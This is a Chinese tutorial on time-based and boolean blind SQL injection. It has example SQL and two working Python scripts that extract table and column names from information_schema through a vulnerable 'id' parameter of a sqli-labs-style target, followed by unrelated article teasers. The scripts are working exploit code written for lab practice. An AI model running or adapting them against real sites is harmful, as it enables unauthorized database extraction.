sql注入之python脚本进行时间盲注和布尔盲注

一、什么是时间盲注和布尔盲注?

        答:时间盲注是攻击者通过构造恶意sql语句利用sleep()等延迟函数来观察数据库响应时间差异来进行推断信息和条件判断。如果条件为真,数据库会执行延时操作,如果为假则立即返回。响应时间较短。

SELECT IF(1=1, SLEEP(5), 0);

如果条件为真、数据库会暂停5s

如果条件为假、数据库会立即返回

                布尔盲注通过观察数据库返回的不同响应(如真或假)来推断信息。攻击者构造SQL语句,利用条件语句改变页面响应内容或状态码,从而判断条件真假。

SELECT * FROM users WHERE username = 'admin' AND SUBSTRING(password, 1, 1) = 'a';

  • 如果密码的第一个字符是'a',查询返回结果,页面显示正常。

  • 如果不是,页面可能显示错误或无结果。

二、时间盲注和布尔盲注的共同点和区别是什么?

        答:时间盲注和布尔盲注都是SQL注入攻击的形式,用于在无法直接获取数据的情况下推断数据库信息。

共同点:

        1、两者都通过逐步推断来获取数据库信息,而不是直接获取数据。

        2、都利用条件语句(如IF)来判断特定条件是否为真。

        3、当应用程序不直接返回数据库错误信息或查询结果时,这两种方法都适用。

 区别:

        1、时间盲注通过数据库响应时间的差异来判断条件真假。布尔盲注通过页面响应内容或状态码的不同来判断条件真假。

        2、时间盲注常常使用延时函数sleep()等来进行实现。布尔盲注使用语句if()、case()等实现。

        3、时间盲注适用于无法通过页面响应内容或状态码判断条件真假的场景。布尔盲注适用于可以通过页面响应内容或状态码判断条件真假的场景。

三、通过python编写boolen盲注代码获取数据库

        1、输入id,?id=1后。显示You  are  in......

        2、输入?id=1'后、发现没有回显。

        3、判断字段数,?id=1' order by 3 --+后, 还是显示You are in…

        4、联合查询, ?id=1'union select 1,2,3–+后,显示You are in…

        5、根据以上判断、可能存在boolen盲注。 

获取数据库表:

import requests

def table_names(url, database_name):
    table_names = []  # 用于存储所有表名
    max_length = 20  # 假设每个表名的最大长度为20
    # 限制字符范围:数字、字母、下划线
    allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
    # 获取数据库中所有表的个数
    # 查询所有表:我们假设表名的个数不超过100
    num_tables = 100
    for table_index in range(num_tables):
        table_name = ''
        for i in range(1, max_length + 1):
            low = min(allowed_chars)  # 最小值:'0',ASCII 48
            high = max(allowed_chars)  # 最大值:'z',ASCII 122
            middle = (low + high) // 2
            while low < high:
                # 构造布尔盲注的 payload,查询当前表的名字
                payload = f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "
                params = {"id": payload}
                r = requests.get(url, params=params)
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low = middle + 1
                else:
                    high = middle
                middle = (low + high) // 2
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                table_name += chr(middle)
            # 每次获取一个字符后打印当前的表名
            print(f"Current table name: {table_name}")
            # 重置 low 和 high 的值
            low = min(allowed_chars)
            high = max(allowed_chars)
            middle = (low + high) // 2
        if table_name:  # 如果当前表名非空,则保存它
            table_names.append(table_name)
        # 如果注入出了多个表,可以停止
        if len(table_names) >= 5:  # 假设只注入前五个表名
            break
    print(f"Final table names: {table_names}")

if __name__ == "__main__":
    url = "http://sqllab.com/Less-8/"
    database_name = "security"  # 目标数据库名称
    table_names(url, database_name)

获取数据库列:

import requests

def column_names(url, database_name, table_name):
    column_names = []  # 用于存储所有列名
    max_length = 20  # 假设列名最大长度为20
    # 限制字符范围:数字、字母、下划线
    allowed_chars = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _
    # 获取表的所有列的个数
    num_columns = 100  # 假设该表最多有100列
    for column_index in range(num_columns):
        column_name = ''
        for i in range(1, max_length + 1):
            low = min(allowed_chars)  # 最小值:'0',ASCII 48
            high = max(allowed_chars)  # 最大值:'z',ASCII 122
            middle = (low + high) // 2
            while low < high:
                # 构造布尔盲注的 payload,查询当前列的名字
                payload = f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "
                params = {"id": payload}
                r = requests.get(url, params=params)
                # 判断注入是否成功,依据靶场的返回信息
                if 'You are in' in r.text:  # 判断返回信息
                    low = middle + 1
                else:
                    high = middle
                middle = (low + high) // 2
            # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
            if middle in allowed_chars:  # 确保是有效字符
                column_name += chr(middle)
            # 每次获取一个字符后打印当前的列名
            print(f"Current column name: {column_name}")
            # 重置 low 和 high 的值
            low = min(allowed_chars)
            high = max(allowed_chars)
            middle = (low + high) // 2
        # 检查是否是有效的列名
        if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名
            column_names.append(column_name)
        # 如果注入出了多个列,可以停止
        if len(column_names) >= 5:  # 假设只注入前五个列名
            break
    # 输出最终的列名
    print(f"Final column names: {column_names}")
if __name__ == "__main__":
    url = "http://sqllab.com/Less-8/"
    database_name = "security"  # 目标数据库名称
    table_name = "users"  # 目标表名
    column_names(url, database_name, table_name)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/971882.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python .py文件打包成.exe可执行程序,带托盘图标的可执行文件

Python .py文件打包成.exe可执行程序&#xff0c;带托盘图标的可执行文件 安装pyinstalle 查看是否安装了pyinstaller 已安装 C:\Users\Administrator>pip show pyinstaller Name: pyinstaller Version: 6.12.0 Summary: PyInstaller bundles a Python application and a…

可信数据空间 X 大模型,实践场景案例分享

近期&#xff0c;国家数据局发布《可信数据空间发展行动计划&#xff08;2024—2028年&#xff09;》&#xff0c;这是国家层面首次针对可信数据空间这一新型数据基础设施进行前瞻性的系统布局。可信数据空间&#xff0c;是一类全新的数据流通利用基础设施&#xff0c;同时也是…

Java-数据结构-(HashMap HashSet)

一、Tree和Hash的区别 在上一篇文章中&#xff0c;我们讲到了"TreeMap"和"TreeSet"&#xff0c;但当我们刷题的时候却会发现&#xff0c;实际应用Map和Set时&#xff0c;却常常都只会用"HashMap"和"HashSet"&#xff0c;这是为什么呢…

DeepSeek在linux下的安装部署与应用测试

结合上一篇文章&#xff0c;本篇文章主要讲述在Redhat linux环境下如何部署和使用DeepSeek大模型&#xff0c;主要包括ollama的安装配置、大模型的加载和应用测试。关于Open WebUI在docker的安装部署&#xff0c;Open WebUI官网也提供了完整的docker部署说明&#xff0c;大家可…

ShenNiusModularity项目源码学习(9:项目结构)

ShenNiusModularity源码主要有11个project&#xff08;其实还有officialweb、test两个文件夹&#xff0c;大致有4、5个project&#xff0c;但看着跟主要项目代码没太大关系&#xff0c;暂时不管&#xff09;&#xff0c;这11个project的依赖关系如下图所示&#xff0c;其中最下…

用deepseek学大模型08-cnn残差网络

残差网络 参考&#xff1a;https://blog.csdn.net/2301_80750681/article/details/142882802 以下是使用PyTorch实现的三层残差网络示例&#xff0c;包含三个残差块和完整的网络结构&#xff1a; import torch import torch.nn as nnclass BasicBlock(nn.Module):expansion…

【C++】36.C++IO流

文章目录 1. C语言的输入与输出2. 流是什么3. CIO流3.1 C标准IO流3.2 C文件IO流 4. stringstream的简单介绍 1. C语言的输入与输出 C语言中我们用到的最频繁的输入输出方式就是scanf ()与printf()。 scanf(): 从标准输入设备(键盘)读取数据&#xff0c;并将值存放在变量中。pri…

#渗透测试#批量漏洞挖掘#Apache Log4j反序列化命令执行漏洞

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。 目录 Apache Log4j反序列化命令执行漏洞 一、…

JCRQ1河马算法+消融实验!HO-CNN-LSTM-Attention系列四模型多变量时序预测

JCRQ1河马算法消融实验&#xff01;HO-CNN-LSTM-Attention系列四模型多变量时序预测 目录 JCRQ1河马算法消融实验&#xff01;HO-CNN-LSTM-Attention系列四模型多变量时序预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 基于HO-CNN-LSTM-Attention、CNN-LSTM-Attent…

[STM32 - 野火] - - - 固件库学习笔记 - - - 十五.设置FLASH的读写保护及解除

一、选项字节与读写保护 1.1 为什么要设置读写保护 防止内部FLASH中的程序被非法读取。 在实际发布的产品中&#xff0c;STM32芯片的内部FLASH存储了控制程序。然而&#xff0c;如果不对内部FLASH采取任何保护措施&#xff0c;用户可以使用下载器直接读取其内容&#xff0c;并…

【算法与数据结构】字典树(Trie)详解

目录 一&#xff0c;字典树的定义 二&#xff0c;字典树的代码实现 完整代码详细注释&#xff1a; 测试用例测试结果&#xff1a; 三&#xff0c;处理其他字符 四&#xff0c;内存优化与扩展 1. 内存优化 2. 扩展功能 五&#xff0c;扩展功能支持通配符匹配 六&…

MySQL 之存储引擎(MySQL Storage Engine)

MySQL 之存储引擎 常见存储引擎及其特点 ‌InnoDB‌&#xff1a; ‌特点‌&#xff1a;支持事务处理、行级锁定、外键约束&#xff0c;使用聚簇索引&#xff0c;适合高并发读写和事务处理的场景‌。‌适用场景‌&#xff1a;需要高可靠性、高并发读写和事务处理的场景‌。 ‌M…

CXL ALMP(ARB/MUX Link Management Packet)理解

前言&#xff1a; ALMP&#xff08;ARB/MUX Link Management Packet&#xff09; 是CXL协议中由ARB/MUX层生成和处理的专用管理报文&#xff0c;用于协调链路电源状态切换&#xff08;如L0s/L1&#xff09;和虚拟链路状态机&#xff08;vLSM&#xff09;同步。以下是其核心特性…

002 SpringCloudAlibaba整合 - Feign远程调用、Loadbalancer负载均衡

前文地址&#xff1a; 001 SpringCloudAlibaba整合 - Nacos注册配置中心、Sentinel流控、Zipkin链路追踪、Admin监控 文章目录 8.Feign远程调用、loadbalancer负载均衡整合1.OpenFeign整合1.引入依赖2.启动类添加EnableFeignClients注解3.yml配置4.日志配置5.远程调用测试6.服务…

计算机网络(3)TCP格式/连接

1、TCP三大特点&#xff1a;面向连接、可靠、基于字节流 2、如何唯一确定一个TCP连接&#xff1f;TCP四元组&#xff1a;源地址、源端口、目的地址、目的端口 源地址和目标地址的字段(32 位)是在 IP 头部中&#xff0c;作用是通过 IP 协议发送报文给对方主机源端口和目标端口…

vscode远程报错:Remote host key has changed,...

重装了Ubuntu系统之后&#xff0c;由20.04改为22.04&#xff0c;再用vscode远程&#xff0c;就出现了以上报错。 亲测有效的办法 gedit ~/.ssh/known_hosts 打开这个配置文件 删掉与之匹配的那一行&#xff0c;不知道删哪一行的话&#xff0c;就打开第一行这个 /.ssh/confi…

无符号整数和带符号整数的相互转换

无符号字符数x转换为带符号字符数时&#xff0c;当时&#xff0c;转换后仍然为x&#xff1b;当时&#xff0c;转换后变为。 带符号字符数y转换为无符号字符数时&#xff0c;当时&#xff0c;转换后变为&#xff1b;当时&#xff0c;转换后仍然为y。 无符号整数和带符号整数的…

浏览器报错:无法访问此网站 无法找到xxx.xxx.net的DNS地址。正在诊断该问题。尝试运行Windows网络诊断。DNS_PROBE_STARTED

&#x1f91f;致敬读者 &#x1f7e9;感谢阅读&#x1f7e6;希望我的文章能帮到您&#x1f7ea;如有兴趣可点关注了解更多内容 &#x1f4d8;博主信息 点击标题&#x1f446;有惊喜 &#x1f4c3;文章前言 &#x1f537;文章均为学习和工作中整理的笔记&#xff0c;分享记录…

2025-02-18 学习记录--C/C++-PTA 7-25 念数字

一、题目描述 ⭐️ 二、代码&#xff08;C语言&#xff09;⭐️ /*** 输入一个整数&#xff0c;输出每个数字对应的拼音。当整数为负数时&#xff0c;先输出fu字。*/#include <stdio.h>// 输出 正数 中 各位数 对应的 拼音 void getLetter(int num) {// 10个数字&#x…

VirtualBox 中使用 桥接网卡 并设置 MAC 地址

在 VirtualBox 中使用 桥接网卡 并设置 MAC 地址&#xff0c;可以按照以下步骤操作&#xff1a; 步骤 1&#xff1a;设置桥接网卡 打开 VirtualBox&#xff0c;选择你的虚拟机&#xff0c;点击 “设置” (Settings)。进入 “网络” (Network) 选项卡。在 “适配器 1” (Adapt…